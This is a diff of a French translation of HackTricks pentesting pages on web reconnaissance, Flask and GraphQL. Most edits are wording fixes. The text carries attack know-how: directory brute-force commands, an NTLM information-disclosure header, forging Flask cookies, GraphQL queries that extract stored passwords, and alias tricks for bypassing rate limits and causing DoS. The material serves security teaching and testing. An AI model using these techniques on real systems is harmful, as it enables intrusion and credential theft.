+Si l'application web utilise une **techno/plateforme bien connue listée ci-dessus** ou **autre**, n'oubliez pas de **chercher sur Internet** de nouvelles astuces (et faites-le moi savoir !).
 
 ### Revue de code source
 
@@ -134,11 +134,11 @@ node puff.js -w ./wordlist-examples/xss.txt -u "http://www.xssgame.com/f/m4KKGHi
 
 Si un CMS est utilisé, n'oubliez pas de **lancer un scanner**, peut-être que quelque chose d'intéressant sera trouvé :
 
-[**Clusterd**](https://github.com/hatRiot/clusterd)**:** [**JBoss**](jboss.md)**, ColdFusion, WebLogic,** [**Tomcat**](tomcat/)**, Railo, Axis2, Glassfish**\
-[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/), **Joomla**, **vBulletin** sites pour des problèmes de sécurité. (GUI)\
-[**VulnX**](https://github.com/anouarbensaad/vulnx)**:** [**Joomla**](joomla.md)**,** [**Wordpress**](wordpress.md)**,** [**Drupal**](drupal/)**, PrestaShop, Opencart**\
-**CMSMap**: [**(W)ordpress**](wordpress.md)**,** [**(J)oomla**](joomla.md)**,** [**(D)rupal**](drupal/) **ou** [**(M)oodle**](moodle.md)\
-[**droopscan**](https://github.com/droope/droopescan)**:** [**Drupal**](drupal/)**,** [**Joomla**](joomla.md)**,** [**Moodle**](moodle.md)**, Silverstripe,** [**Wordpress**](wordpress.md)
+[**Clusterd**](https://github.com/hatRiot/clusterd)**:** [**JBoss**](jboss.md)**, ColdFusion, WebLogic,** [**Tomcat**](tomcat/index.html)**, Railo, Axis2, Glassfish**\
+[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/index.html), **Joomla**, **vBulletin** sites pour des problèmes de sécurité. (GUI)\
+[**VulnX**](https://github.com/anouarbensaad/vulnx)**:** [**Joomla**](joomla.md)**,** [**Wordpress**](wordpress.md)**,** [**Drupal**](drupal/index.html)**, PrestaShop, Opencart**\
+**CMSMap**: [**(W)ordpress**](wordpress.md)**,** [**(J)oomla**](joomla.md)**,** [**(D)rupal**](drupal/index.html) **ou** [**(M)oodle**](moodle.md)\
+[**droopscan**](https://github.com/droope/droopescan)**:** [**Drupal**](drupal/index.html)**,** [**Joomla**](joomla.md)**,** [**Moodle**](moodle.md)**, Silverstripe,** [**Wordpress**](wordpress.md)
 ```bash
 cmsmap [-f W] -F -d <URL>
 wpscan --force update -e --url <URL>
@@ -166,8 +166,8 @@ joomlavs.rb #https://github.com/rastating/joomlavs
 
 Les serveurs web peuvent **se comporter de manière inattendue** lorsque des données étranges leur sont envoyées. Cela peut ouvrir des **vulnérabilités** ou **divulguer des informations sensibles**.
 
-- Accédez à des **pages factices** comme /whatever_fake.php (.aspx,.html,.etc)
-- **Ajoutez "\[]", "]]", et "\[\["** dans les **valeurs de cookie** et les **valeurs de paramètre** pour créer des erreurs
+- Accédez à des **pages factices** comme /whatever_fake.php (.aspx, .html, etc.)
+- **Ajoutez "\[]", "]]" et "\[\["** dans les **valeurs de cookie** et les **valeurs de paramètre** pour créer des erreurs
 - Générez une erreur en donnant une entrée comme **`/~randomthing/%s`** à la **fin** de l'**URL**
 - Essayez **différents verbes HTTP** comme PATCH, DEBUG ou incorrects comme FAKE
 
@@ -211,7 +211,7 @@ Lancez une sorte de **spider** à l'intérieur du web. L'objectif du spider est
 - [**ParamSpider**](https://github.com/devanshbatham/ParamSpider) : Ce script trouvera des URL avec des paramètres et les listera.
 - [**galer**](https://github.com/dwisiswant0/galer) (go) : Spider HTML avec des capacités de rendu JS.
 - [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python) : Spider HTML, avec des capacités de beautification JS capable de rechercher de nouveaux chemins dans les fichiers JS. Il pourrait également être intéressant de jeter un œil à [JSScanner](https://github.com/dark-warlord14/JSScanner), qui est un wrapper de LinkFinder.
-- [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go) : Pour extraire des points de terminaison à la fois dans le code source HTML et les fichiers JavaScript intégrés. Utile pour les chasseurs de bugs, les équipes rouges, les ninjas de la sécurité informatique.
+- [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go) : Pour extraire des points de terminaison à la fois dans le code source HTML et dans les fichiers JavaScript intégrés. Utile pour les chasseurs de bugs, les équipes rouges, les ninjas de la sécurité informatique.
 - [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7) : Un script python 2.7 utilisant Tornado et JSBeautifier pour analyser les URL relatives à partir des fichiers JavaScript. Utile pour découvrir facilement les requêtes AJAX. Semble ne pas être maintenu.
 - [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby) : Étant donné un fichier (HTML), il extraira les URL en utilisant une expression régulière astucieuse pour trouver et extraire les URL relatives à partir de fichiers laids (minifiés).
 - [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, plusieurs outils) : Rassembler des informations intéressantes à partir de fichiers JS en utilisant plusieurs outils.
@@ -223,26 +223,26 @@ Lancez une sorte de **spider** à l'intérieur du web. L'objectif du spider est
 - [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder) : Cet outil est utilisé pour découvrir des points de terminaison pour une cible donnée.
 - [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Découvrir des liens à partir de la machine Wayback (téléchargeant également les réponses dans le Wayback et cherchant plus de liens).
 - [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go) : Explorer (même en remplissant des formulaires) et trouver également des informations sensibles en utilisant des regex spécifiques.
-- [**SpiderSuite**](https://github.com/3nock/SpiderSuite) : Spider Suite est un crawler/spider web de sécurité multi-fonction avancé conçu pour les professionnels de la cybersécurité.
+- [**SpiderSuite**](https://github.com/3nock/SpiderSuite) : Spider Suite est un crawler/spider web GUI multi-fonction avancé conçu pour les professionnels de la cybersécurité.
 - [**jsluice**](https://github.com/BishopFox/jsluice) (go) : C'est un package Go et un [outil en ligne de commande](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) pour extraire des URL, des chemins, des secrets et d'autres données intéressantes à partir du code source JavaScript.
 - [**ParaForge**](https://github.com/Anof-cyber/ParaForge) : ParaForge est une simple **extension Burp Suite** pour **extraire les paramètres et les points de terminaison** de la requête afin de créer une liste de mots personnalisée pour le fuzzing et l'énumération.
 - [**katana**](https://github.com/projectdiscovery/katana) (go) : Outil génial pour cela.
-- [**Crawley**](https://github.com/s0rg/crawley) (go) : Imprimer chaque lien qu'il est capable de trouver.
+- [**Crawley**](https://github.com/s0rg/crawley) (go) : Imprime chaque lien qu'il est capable de trouver.
 
 ### Brute Force des répertoires et fichiers
 
-Commencez à **brute-forcer** à partir du dossier racine et assurez-vous de brute-forcer **tous** les **répertoires trouvés** en utilisant **cette méthode** et tous les répertoires **découverts** par le **Spidering** (vous pouvez faire ce brute-forcing **récursivement** et en ajoutant au début de la liste de mots utilisée les noms des répertoires trouvés).\
+Commencez le **brute-forcing** à partir du dossier racine et assurez-vous de brute-forcer **tous** les **répertoires trouvés** en utilisant **cette méthode** et tous les répertoires **découverts** par le **Spidering** (vous pouvez faire ce brute-forcing **récursivement** et en ajoutant au début de la liste de mots utilisée les noms des répertoires trouvés).\
 Outils :
 
-- **Dirb** / **Dirbuster** - Inclus dans Kali, **ancien** (et **lent**) mais fonctionnel. Permet des certificats auto-signés et une recherche récursive. Trop lent par rapport aux autres options.
+- **Dirb** / **Dirbuster** - Inclus dans Kali, **ancien** (et **lent**) mais fonctionnel. Permet les certificats auto-signés et la recherche récursive. Trop lent par rapport aux autres options.
 - [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: Il ne permet pas les certificats auto-signés mais** permet la recherche récursive.
-- [**Gobuster**](https://github.com/OJ/gobuster) (go) : Il permet des certificats auto-signés, il **n'a pas** de recherche **récursive**.
+- [**Gobuster**](https://github.com/OJ/gobuster) (go) : Il permet les certificats auto-signés, il **n'a pas** de recherche **récursive**.
 - [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- Rapide, prend en charge la recherche récursive.**
 - [**wfuzz**](https://github.com/xmendez/wfuzz) `wfuzz -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt https://domain.com/api/FUZZ`
 - [**ffuf** ](https://github.com/ffuf/ffuf)- Rapide : `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ`
 - [**uro**](https://github.com/s0md3v/uro) (python) : Ce n'est pas un spider mais un outil qui, étant donné la liste des URL trouvées, supprimera les URL "dupliquées".
 - [**Scavenger**](https://github.com/0xDexter0us/Scavenger) : Extension Burp pour créer une liste de répertoires à partir de l'historique Burp de différentes pages.
-- [**TrashCompactor**](https://github.com/michael1026/trashcompactor) : Supprimer les URL avec des fonctionnalités dupliquées (basées sur les imports js).
+- [**TrashCompactor**](https://github.com/michael1026/trashcompactor) : Supprime les URL avec des fonctionnalités dupliquées (basées sur les imports js).
 - [**Chamaleon**](https://github.com/iustin24/chameleon) : Il utilise wapalyzer pour détecter les technologies utilisées et sélectionner les listes de mots à utiliser.
 
 **Dictionnaires recommandés :**
@@ -250,7 +250,7 @@ Outils :
 - [https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/bf_directories.txt](https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/bf_directories.txt)
 - [**Dictionnaire inclus de Dirsearch**](https://github.com/maurosoria/dirsearch/blob/master/db/dicc.txt)
 - [http://gist.github.com/jhaddix/b80ea67d85c13206125806f0828f4d10](http://gist.github.com/jhaddix/b80ea67d85c13206125806f0828f4d10)
-- [Assetnote wordlists](https://wordlists.assetnote.io)
+- [Listes de mots Assetnote](https://wordlists.assetnote.io)
 - [https://github.com/danielmiessler/SecLists/tree/master/Discovery/Web-Content](https://github.com/danielmiessler/SecLists/tree/master/Discovery/Web-Content)
 - raft-large-directories-lowercase.txt
 - directory-list-2.3-medium.txt
@@ -268,7 +268,7 @@ _Remarque : chaque fois qu'un nouveau répertoire est découvert lors du brute-f
 
 ### Que vérifier sur chaque fichier trouvé
 
-- [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker) : Trouver des liens brisés à l'intérieur des HTML qui peuvent être sujets à des prises de contrôle.
+- [**Vérificateur de liens brisés**](https://github.com/stevenvachon/broken-link-checker) : Trouver des liens brisés à l'intérieur des HTML qui peuvent être sujets à des prises de contrôle.
 - **Sauvegardes de fichiers** : Une fois que vous avez trouvé tous les fichiers, recherchez des sauvegardes de tous les fichiers exécutables ("_.php_", "_.aspx_"...). Les variations courantes pour nommer une sauvegarde sont : _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp et file.old._ Vous pouvez également utiliser l'outil [**bfac**](https://github.com/mazen160/bfac) **ou** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**.**
 - **Découvrir de nouveaux paramètres** : Vous pouvez utiliser des outils comme [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **et** [**Param Miner**](https://github.com/PortSwigger/param-miner) **pour découvrir des paramètres cachés. Si vous le pouvez, vous pourriez essayer de rechercher** des paramètres cachés sur chaque fichier web exécutable.
 - _Arjun toutes les listes de mots par défaut :_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db)
@@ -276,18 +276,18 @@ _Remarque : chaque fois qu'un nouveau répertoire est découvert lors du brute-f
 - _Assetnote “parameters_top_1m” :_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io)
 - _nullenc0de “params.txt” :_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773)
 - **Commentaires :** Vérifiez les commentaires de tous les fichiers, vous pouvez trouver **des identifiants** ou **des fonctionnalités cachées**.
-- Si vous jouez à un **CTF**, une astuce "courante" est de **cacher** **des informations** à l'intérieur des commentaires à la **droite** de la **page** (en utilisant **des centaines** d'**espaces** pour que vous ne voyiez pas les données si vous ouvrez le code source avec le navigateur). Une autre possibilité est d'utiliser **plusieurs nouvelles lignes** et **cacher des informations** dans un commentaire en bas de la page web.
+- Si vous jouez à un **CTF**, une astuce "courante" est de **cacher** **des informations** à l'intérieur des commentaires à la **droite** de la **page** (en utilisant **des centaines** d'**espaces** pour que vous ne voyiez pas les données si vous ouvrez le code source avec le navigateur). Une autre possibilité est d'utiliser **plusieurs nouvelles lignes** et **de cacher des informations** dans un commentaire au **bas** de la page web.
 - **Clés API** : Si vous **trouvez une clé API**, il existe un guide qui indique comment utiliser les clés API de différentes plateformes : [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](<https://github.com/l4yton/RegHex)/>)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird).
-- Clés API Google : Si vous trouvez une clé API ressemblant à **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik, vous pouvez utiliser le projet [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) pour vérifier quelles API la clé peut accéder.
-- **S3 Buckets** : Lors du spidering, vérifiez si un **sous-domaine** ou un **lien** est lié à un **bucket S3**. Dans ce cas, [**vérifiez** les **permissions** du bucket](buckets/).
+- Clés API Google : Si vous trouvez une clé API ressemblant à **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik, vous pouvez utiliser le projet [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) pour vérifier quelles APIs la clé peut accéder.
+- **S3 Buckets** : Lors du spidering, vérifiez si un **sous-domaine** ou un **lien** est lié à un **bucket S3**. Dans ce cas, [**vérifiez** les **permissions** du bucket](buckets/index.html).
 
 ### Découvertes spéciales
 
-**Lors** de l'exécution du **spidering** et du **brute-forcing**, vous pourriez trouver des **choses intéressantes** que vous devez **noter**.
+**Lors** de l'exécution du **spidering** et du **brute-forcing**, vous pourriez trouver des **choses intéressantes** dont vous devez **prendre note**.
 
 **Fichiers intéressants**
 
-- Recherchez des **liens** vers d'autres fichiers à l'intérieur des fichiers **CSS**.
+- Recherchez des **liens** vers d'autres fichiers à l'intérieur des **fichiers CSS**.
 - [Si vous trouvez un fichier _**.git**_, certaines informations peuvent être extraites](git.md).
 - Si vous trouvez un _**.env**_, des informations telles que des clés API, des mots de passe de bases de données et d'autres informations peuvent être trouvées.
 - Si vous trouvez des **points de terminaison API**, vous [devez également les tester](web-api-pentesting.md). Ce ne sont pas des fichiers, mais ils "ressembleront probablement" à eux.
@@ -313,7 +313,7 @@ Si une page **répond** avec ce **code**, c'est probablement un **proxy mal conf
 **Authentification NTLM - Divulgation d'informations**
 
 Si le serveur en cours d'exécution demande une authentification est **Windows** ou si vous trouvez une connexion demandant vos **identifiants** (et demandant un **nom de domaine**), vous pouvez provoquer une **divulgation d'informations**.\
-**Envoyez** l'**en-tête** : `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` et en raison de la façon dont fonctionne l'**authentification NTLM**, le serveur répondra avec des informations internes (version IIS, version Windows...) à l'intérieur de l'en-tête "WWW-Authenticate".\
+**Envoyez** l'**en-tête** : `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` et en raison de la façon dont **l'authentification NTLM fonctionne**, le serveur répondra avec des informations internes (version IIS, version Windows...) à l'intérieur de l'en-tête "WWW-Authenticate".\
 Vous pouvez **automatiser** cela en utilisant le **plugin nmap** "_http-ntlm-info.nse_".
 
 **Redirection HTTP (CTF)**

src/network-services-pentesting/pentesting-web/flask.md

@@ -2,7 +2,7 @@
 
 {{#include ../../banners/hacktricks-training.md}}
 
-**Probablement, si vous participez à un CTF, une application Flask sera liée à** [**SSTI**](../../pentesting-web/ssti-server-side-template-injection/)**.**
+**Probablement, si vous participez à un CTF, une application Flask sera liée à** [**SSTI**](../../pentesting-web/ssti-server-side-template-injection/index.html)**.**
 
 ## Cookies
 
@@ -48,7 +48,7 @@ flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME' --legacy
 ```
 ### **RIPsession**
 
-Outil en ligne de commande pour forcer les sites web en utilisant des cookies créés avec flask-unsign.
+Outil en ligne de commande pour effectuer des attaques par force brute sur des sites web en utilisant des cookies créés avec flask-unsign.
 
 {{#ref}}
 https://github.com/Tagvi/ripsession

src/network-services-pentesting/pentesting-web/graphql.md

@@ -6,13 +6,13 @@
 
 GraphQL est **souligné** comme une **alternative efficace** à l'API REST, offrant une approche simplifiée pour interroger des données depuis le backend. Contrairement à REST, qui nécessite souvent de nombreuses requêtes à travers divers points de terminaison pour rassembler des données, GraphQL permet de récupérer toutes les informations nécessaires via une **unique requête**. Cette rationalisation **bénéficie considérablement aux développeurs** en réduisant la complexité de leurs processus de récupération de données.
 
-## GraphQL et sécurité
+## GraphQL et Sécurité
 
 Avec l'avènement de nouvelles technologies, y compris GraphQL, de nouvelles vulnérabilités de sécurité émergent également. Un point clé à noter est que **GraphQL n'inclut pas de mécanismes d'authentification par défaut**. Il incombe aux développeurs de mettre en œuvre de telles mesures de sécurité. Sans une authentification appropriée, les points de terminaison GraphQL peuvent exposer des informations sensibles à des utilisateurs non authentifiés, posant un risque de sécurité significatif.
 
-### Attaques par force brute de répertoire et GraphQL
+### Attaques par Brute Force de Répertoire et GraphQL
 
-Pour identifier les instances GraphQL exposées, l'inclusion de chemins spécifiques dans les attaques par force brute de répertoire est recommandée. Ces chemins sont :
+Pour identifier les instances GraphQL exposées, il est recommandé d'inclure des chemins spécifiques dans les attaques par brute force de répertoire. Ces chemins sont :
 
 - `/graphql`
 - `/graphiql`
@@ -23,13 +23,13 @@ Pour identifier les instances GraphQL exposées, l'inclusion de chemins spécifi
 - `/graphql/api`
 - `/graphql/graphql`
 
-Identifier les instances GraphQL ouvertes permet d'examiner les requêtes prises en charge. Cela est crucial pour comprendre les données accessibles via le point de terminaison. Le système d'introspection de GraphQL facilite cela en détaillant les requêtes qu'un schéma prend en charge. Pour plus d'informations à ce sujet, consultez la documentation GraphQL sur l'introspection : [**GraphQL : un langage de requête pour les API.**](https://graphql.org/learn/introspection/)
+Identifier les instances GraphQL ouvertes permet d'examiner les requêtes prises en charge. Cela est crucial pour comprendre les données accessibles via le point de terminaison. Le système d'introspection de GraphQL facilite cela en détaillant les requêtes qu'un schéma prend en charge. Pour plus d'informations à ce sujet, consultez la documentation GraphQL sur l'introspection : [**GraphQL : Un langage de requête pour les APIs.**](https://graphql.org/learn/introspection/)
 
 ### Empreinte
 
 L'outil [**graphw00f**](https://github.com/dolevf/graphw00f) est capable de détecter quel moteur GraphQL est utilisé sur un serveur et imprime ensuite des informations utiles pour l'auditeur de sécurité.
 
-#### Requêtes universelles <a href="#universal-queries" id="universal-queries"></a>
+#### Requêtes Universelles <a href="#universal-queries" id="universal-queries"></a>
 
 Pour vérifier si une URL est un service GraphQL, une **requête universelle**, `query{__typename}`, peut être envoyée. Si la réponse inclut `{"data": {"__typename": "Query"}}`, cela confirme que l'URL héberge un point de terminaison GraphQL. Cette méthode repose sur le champ `__typename` de GraphQL, qui révèle le type de l'objet interrogé.
 ```javascript
@@ -184,7 +184,7 @@ Vous pouvez voir que les objets "_Flags_" sont composés de **name** et **value*
 ```javascript
 query={flags{name, value}}
 ```
-Notez que si l'**objet à interroger** est un **type** **primitif** comme **string** comme dans l'exemple suivant
+Notez que si l'**objet à interroger** est un **type** **primitif** comme **string**, comme dans l'exemple suivant
 
 ![](<../../images/image (958).png>)
 
@@ -193,7 +193,7 @@ Vous pouvez simplement l'interroger avec :
 query = { hiddenFlags }
 ```
 Dans un autre exemple où il y avait 2 objets à l'intérieur de l'objet de type "_Query_": "_user_" et "_users_".\
-Si ces objets n'ont pas besoin d'argument pour rechercher, vous pourriez **récupérer toutes les informations à partir d'eux** juste en **demandant** les données que vous voulez. Dans cet exemple d'Internet, vous pourriez extraire les noms d'utilisateur et mots de passe sauvegardés :
+Si ces objets n'ont pas besoin d'argument pour rechercher, vous pourriez **récupérer toutes les informations les concernant** simplement en **demandant** les données que vous voulez. Dans cet exemple d'Internet, vous pourriez extraire les noms d'utilisateur et mots de passe sauvegardés :
 
 ![](<../../images/image (880).png>)
 
@@ -202,11 +202,11 @@ Cependant, dans cet exemple, si vous essayez de le faire, vous obtenez cette **e
 ![](<../../images/image (1042).png>)
 
 On dirait que d'une manière ou d'une autre, il va rechercher en utilisant l'argument "_**uid**_" de type _**Int**_.\
-Quoi qu'il en soit, nous savions déjà que, dans la section [Basic Enumeration](graphql.md#basic-enumeration), une requête était proposée qui nous montrait toutes les informations nécessaires : `query={__schema{types{name,fields{name, args{name,description,type{name, kind, ofType{name, kind}}}}}}}`
+Quoi qu'il en soit, nous le savions déjà, dans la section [Basic Enumeration](graphql.md#basic-enumeration), une requête a été proposée qui nous montrait toutes les informations nécessaires : `query={__schema{types{name,fields{name, args{name,description,type{name, kind, ofType{name, kind}}}}}}}`
 
 Si vous lisez l'image fournie lorsque j'exécute cette requête, vous verrez que "_**user**_" avait l'**arg** "_**uid**_" de type _Int_.
 
-Donc, en effectuant un léger _**uid**_ bruteforce, j'ai découvert qu'avec _**uid**=**1**_ un nom d'utilisateur et un mot de passe ont été récupérés :\
+Ainsi, en effectuant un léger _**uid**_ bruteforce, j'ai découvert qu'avec _**uid**=**1**_ un nom d'utilisateur et un mot de passe ont été récupérés :\
 `query={user(uid:1){user,password}}`
 
 ![](<../../images/image (90).png>)
@@ -219,7 +219,7 @@ Et pendant la **phase d'énumération**, j'ai découvert que l'objet "_**dbuser*
 
 **Truc de dump de chaîne de requête (merci à @BinaryShadow\_)**
 
-Si vous pouvez rechercher par un type de chaîne, comme : `query={theusers(description: ""){username,password}}` et que vous **cherchez une chaîne vide**, cela va **dump toutes les données**. (_Notez que cet exemple n'est pas lié à l'exemple des tutoriels, pour cet exemple, supposez que vous pouvez rechercher en utilisant "**theusers**" par un champ de chaîne appelé "**description**"_).
+Si vous pouvez rechercher par un type de chaîne, comme : `query={theusers(description: ""){username,password}}` et que vous **cherchez une chaîne vide**, cela va **dump toutes les données**. (_Notez que cet exemple n'est pas lié à l'exemple des tutoriels, pour cet exemple, supposons que vous pouvez rechercher en utilisant "**theusers**" par un champ de chaîne appelé "**description**"_).
 
 ### Recherche
 
@@ -233,7 +233,7 @@ email
 }
 }
 ```
-Vous pouvez **rechercher** des personnes **par** le **nom** et obtenir leurs **films** **abonnés** :
+Vous pouvez **chercher** des personnes **par** le **nom** et obtenir leurs **films** **abonnés** :
 ```javascript
 {
 searchPerson(name: "John Doe") {
@@ -332,7 +332,7 @@ releaseYear
 }
 }
 ```
-### Surcharge de directive
+### Surcharge de Directive
 
 Comme expliqué dans [**l'une des vulnérabilités décrites dans ce rapport**](https://www.landh.tech/blog/20240304-google-hack-50000/), une surcharge de directive implique d'appeler une directive même des millions de fois pour faire perdre des opérations au serveur jusqu'à ce qu'il soit possible de le DoS.
 
@@ -345,7 +345,7 @@ Vous pouvez trouver ci-dessous la démonstration la plus simple d'une requête d
 
 ![](<../../images/image (1081).png>)
 
-Comme nous pouvons le voir sur la capture d'écran de la réponse, les première et troisième requêtes ont renvoyé _null_ et ont reflété les informations correspondantes dans la section _error_. La **deuxième mutation avait les bonnes données d'authentification** et la réponse contient le bon jeton de session d'authentification.
+Comme nous pouvons le voir sur la capture d'écran de la réponse, les première et troisième requêtes ont renvoyé _null_ et ont reflété les informations correspondantes dans la section _error_. La **deuxième mutation avait les données d'authentification correctes** et la réponse contient le bon jeton de session d'authentification.
 
 ![](<../../images/image (119) (1).png>)
 
@@ -371,7 +371,7 @@ Si cela échoue, envisagez des méthodes de requête alternatives, telles que **
 
 ### Essayez WebSockets
 
-Comme mentionné dans [**cette conférence**](https://www.youtube.com/watch?v=tIo_t5uUK50), vérifiez s'il est possible de se connecter à graphQL via WebSockets, car cela pourrait vous permettre de contourner un éventuel WAF et de faire en sorte que la communication websocket divulgue le schéma de graphQL :
+Comme mentionné dans [**cette conférence**](https://www.youtube.com/watch?v=tIo_t5uUK50), vérifiez s'il est possible de se connecter à graphQL via WebSockets, car cela pourrait vous permettre de contourner un éventuel WAF et de faire en sorte que la communication WebSocket divulgue le schéma de graphQL :
 ```javascript
 ws = new WebSocket("wss://target/graphql", "graphql-ws")
 ws.onopen = function start(event) {
@@ -411,9 +411,9 @@ Si vous ne savez pas ce qu'est le CSRF, lisez la page suivante :
 ../../pentesting-web/csrf-cross-site-request-forgery.md
 {{#endref}}
 
-Vous allez pouvoir trouver plusieurs points de terminaison GraphQL **configurés sans tokens CSRF.**
+Vous pourrez trouver plusieurs points de terminaison GraphQL **configurés sans tokens CSRF.**
 
-Notez que les requêtes GraphQL sont généralement envoyées via des requêtes POST utilisant le type de contenu **`application/json`**.
+Notez que les requêtes GraphQL sont généralement envoyées via des requêtes POST utilisant le Content-Type **`application/json`**.
 ```javascript
 {"operationName":null,"variables":{},"query":"{\n  user {\n    firstName\n    __typename\n  }\n}\n"}
 ```
@@ -421,13 +421,13 @@ Cependant, la plupart des points de terminaison GraphQL prennent également en c
 ```javascript
 query=%7B%0A++user+%7B%0A++++firstName%0A++++__typename%0A++%7D%0A%7D%0A
 ```
-Par conséquent, comme les requêtes CSRF comme celles précédentes sont envoyées **sans requêtes préalables**, il est possible de **faire** **des changements** dans le GraphQL en abusant d'un CSRF.
+Par conséquent, comme les requêtes CSRF comme celles précédentes sont envoyées **sans requêtes préalables**, il est possible de **faire** **des modifications** dans le GraphQL en abusant d'un CSRF.
 
 Cependant, notez que la nouvelle valeur par défaut du cookie du drapeau `samesite` de Chrome est `Lax`. Cela signifie que le cookie ne sera envoyé que depuis un site tiers dans les requêtes GET.
 
-Notez qu'il est généralement possible d'envoyer la **requête** **de requête** également en tant que **requête GET** et que le token CSRF pourrait ne pas être validé dans une requête GET.
+Notez qu'il est généralement possible d'envoyer la **requête** **query** également en tant que **requête GET et que le token CSRF pourrait ne pas être validé dans une requête GET.**
 
-De plus, en abusant d'une [**attaque XS-Search**](../../pentesting-web/xs-search/), il pourrait être possible d'exfiltrer du contenu depuis le point de terminaison GraphQL en abusant des identifiants de l'utilisateur.
+De plus, en abusant d'une [**attaque XS-Search**](../../pentesting-web/xs-search/index.html), il pourrait être possible d'exfiltrer du contenu depuis le point de terminaison GraphQL en abusant des identifiants de l'utilisateur.
 
 Pour plus d'informations, **vérifiez le** [**post original ici**](https://blog.doyensec.com/2021/05/20/graphql-csrf.html).
 
@@ -435,7 +435,7 @@ Pour plus d'informations, **vérifiez le** [**post original ici**](https://blog.
 
 Semblable aux vulnérabilités CRSF abusant de GraphQL, il est également possible de réaliser un **détournement de WebSocket intersite pour abuser d'une authentification avec GraphQL avec des cookies non protégés** et faire en sorte qu'un utilisateur effectue des actions inattendues dans GraphQL.
 
-Pour plus d'informations, vérifiez :
+Pour plus d'informations, consultez :
 
 {{#ref}}
 ../../pentesting-web/websocket-attacks.md
@@ -469,7 +469,7 @@ Dans GraphQL, les alias sont une fonctionnalité puissante qui permet de **nomme
 
 Pour une compréhension détaillée des alias GraphQL, la ressource suivante est recommandée : [Aliases](https://portswigger.net/web-security/graphql/what-is-graphql#aliases).
 
-Bien que le but principal des alias soit de réduire la nécessité de nombreux appels API, un cas d'utilisation non intentionnel a été identifié où les alias peuvent être exploités pour exécuter des attaques par force brute sur un point de terminaison GraphQL. Cela est possible car certains points de terminaison sont protégés par des limiteurs de taux conçus pour contrer les attaques par force brute en restreignant le **nombre de requêtes HTTP**. Cependant, ces limiteurs de taux pourraient ne pas tenir compte du nombre d'opérations dans chaque demande. Étant donné que les alias permettent d'inclure plusieurs requêtes dans une seule demande HTTP, ils peuvent contourner de telles mesures de limitation de taux.
+Bien que le but principal des alias soit de réduire la nécessité de nombreux appels API, un cas d'utilisation non intentionnel a été identifié où les alias peuvent être exploités pour exécuter des attaques par force brute sur un point de terminaison GraphQL. Cela est possible car certains points de terminaison sont protégés par des limiteurs de taux conçus pour contrer les attaques par force brute en restreignant le **nombre de requêtes HTTP**. Cependant, ces limiteurs de taux pourraient ne pas tenir compte du nombre d'opérations dans chaque demande. Étant donné que les alias permettent l'inclusion de plusieurs requêtes dans une seule demande HTTP, ils peuvent contourner de telles mesures de limitation de taux.
 
 Considérez l'exemple fourni ci-dessous, qui illustre comment des requêtes aliasées peuvent être utilisées pour vérifier la validité des codes de réduction en magasin. Cette méthode pourrait contourner la limitation de taux puisqu'elle compile plusieurs requêtes en une seule demande HTTP, permettant potentiellement la vérification de nombreux codes de réduction simultanément.
 ```bash
@@ -490,18 +490,18 @@ valid
 
 ### Surcharge d'Aliases
 
-**Surcharge d'Aliases** est une vulnérabilité GraphQL où les attaquants surchargent une requête avec de nombreux alias pour le même champ, ce qui amène le résolveur backend à exécuter ce champ de manière répétée. Cela peut submerger les ressources du serveur, entraînant une **Déni de Service (DoS)**. Par exemple, dans la requête ci-dessous, le même champ (`expensiveField`) est demandé 1 000 fois en utilisant des alias, forçant le backend à le calculer 1 000 fois, ce qui peut épuiser le CPU ou la mémoire :
+**Surcharge d'Aliases** est une vulnérabilité GraphQL où les attaquants surchargent une requête avec de nombreux alias pour le même champ, ce qui amène le résolveur backend à exécuter ce champ de manière répétée. Cela peut submerger les ressources du serveur, entraînant un **Denial of Service (DoS)**. Par exemple, dans la requête ci-dessous, le même champ (`expensiveField`) est demandé 1 000 fois en utilisant des alias, forçant le backend à le calculer 1 000 fois, ce qui peut épuiser le CPU ou la mémoire :
